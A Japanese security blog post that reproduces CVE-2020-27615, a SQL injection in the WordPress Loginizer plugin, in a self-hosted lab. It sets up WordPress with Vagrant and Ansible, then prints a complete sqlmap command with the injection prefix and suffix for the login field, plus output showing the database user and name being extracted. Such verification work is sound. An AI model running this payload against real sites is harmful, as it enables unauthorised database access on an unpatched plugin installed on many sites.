このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。
あるもりすぶろぐの内容は個人の意見です。
CVE-2020-27615の検証をやっていく
今週のArmoris日記はCVE-2020-27615の検証を行います。
検証には自身で管理する環境を使用し、自己責任でお願いします
CVE-2020-27615はWordPressのLoginizerプラグインに存在する脆弱性です。
このプラグインのデフォルト機能であるブルートフォース保護機能を悪用することでSQLインジェクションができるようになります。
この機能はプラグインをインストールした際にデフォルトで有効になっています。
脆弱性情報:WPScan
該当プラグイン:Loginizer
影響を受けるバージョン:Loginizer < 1.6.4
検証環境
検証に使用した環境と各種バージョンは以下のとおりです。
Name | Version |
---|---|
Ubuntu Server | 20.04 |
WordPress | 5.6 |
Loginizer | 1.6.3 |
sqlmap | 1.5.1.28#dev |
検証
今回もまたAnssibleを使用してWordPressの環境を用意します。
$ cat Vagrantfile Vagrant.configure(2) do |config| config.vm.box = "generic/ubuntu2004" config.vm.provider "libvirt" config.vm.network "forwarded_port", guest: 80, host: 6547, host_ip: "172.20.100.120" end $ vagrant up
次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。
$ vagrant ssh-config Host default HostName 192.168.121.145 User vagrant Port 22 UserKnownHostsFile /dev/null StrictHostKeyChecking no PasswordAuthentication no IdentityFile /home/ubuntu/CVE-2020-13640/.vagrant/machines/default/libvirt/private_key IdentitiesOnly yes LogLevel FATAL $ cat host [server] 192.168.121.145 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3 $ ansible-playbook -i host wp.yml -v
以下をクリックすると普段検証用に環境構築をする際使用しているymlファイルが表示されます。
$ wget https://downloads.wordpress.org/plugin/loginizer.1.6.3.zip $ sudo unzip loginizer.1.6.3.zip $ sudo mv loginizer /var/www/wordpress/wp-content/plugins/
WordPressをインストールし、プラグインを有効化します。
CVE-2020-27615はプラグインを有効化するだけで再現可能なためこれで検証環境の準備は完了です。
PoCを試す
今回は以下のsqlmap
というPython製のツールを使用して検証を行います。
$ git clone https://github.com/sqlmapproject/sqlmap.git $ cd sqlmap $ python3 sqlmap.py ___ __H__ ___ ___[(]_____ ___ ___ {1.5.1.28#dev} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org Usage: python3 sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). Use -h for basic and -hh for advanced help
以下は実際にPoCを実行した際の様子です。
$ python3 sqlmap.py -u http://172.20.100.120:6547/wp-login.php --method='POST' --data='log=&pwd=password&wp-submit=Log+In&redirect_to=&testcookie=1' -p log --prefix="', ip = LEFT(UUID(), 8), url = ( TRUE " --suffix=") -- wpdeep ly" --dbms mysql --technique=T --time-sec=1 --current-db --current-user ___ __H__ ___ ___[.]_____ ___ ___ {1.5.1.28#dev} |_ -| . [.] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 06:42:40 /2021-01-14/ [06:42:41] [WARNING] provided value for parameter 'log' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [06:42:41] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('wordpress_test_cookie=WP+Cookie+check'). Do you want to use those [Y/n] [06:42:52] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS [06:42:52] [WARNING] heuristic (basic) test shows that POST parameter 'log' might not be injectable [06:42:52] [INFO] testing for SQL injection on POST parameter 'log' [06:42:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [06:42:52] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done) [06:42:56] [INFO] POST parameter 'log' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] [06:43:18] [INFO] checking if the injection point on POST parameter 'log' is a false positive POST parameter 'log' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 38 HTTP(s) requests: --- Parameter: log (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: log=', ip = LEFT(UUID(), 8), url = ( TRUE AND (SELECT 8857 FROM (SELECT(SLEEP(1)))scyu)) -- wpdeeply&pwd=password&wp-submit=Log In&redirect_to=&testcookie=1 --- [06:45:04] [INFO] the back-end DBMS is MySQL [06:45:04] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [06:45:04] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s) back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) [06:45:05] [INFO] fetching current user [06:45:05] [INFO] retrieved: wordpress@localhost current user: 'wordpress@localhost' [06:46:16] [INFO] fetching current database [06:46:16] [INFO] retrieved: wordpress current database: 'wordpress' [06:46:50] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/172.20.100.120' [*] ending @ 06:46:50 /2021-01-14/
実行結果を見るとWordPressが使用しているDBの情報やユーザー情報、データベースの名前までが表示されます。
攻撃者はこれらの情報をもとにさらなる攻撃を行うことができます。
最後に
今回取り上げたLoginizerプラグインは有効インストール数が100万を超えているため、今回の脆弱性の影響も大きいと予想されます。
今回のように規模が大きなプラグインは脆弱性が発見された場合比較的早急に修正されることが多いです。
ぜひ普段使っているアプリなどもこまめに更新を確認してみてください。
自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。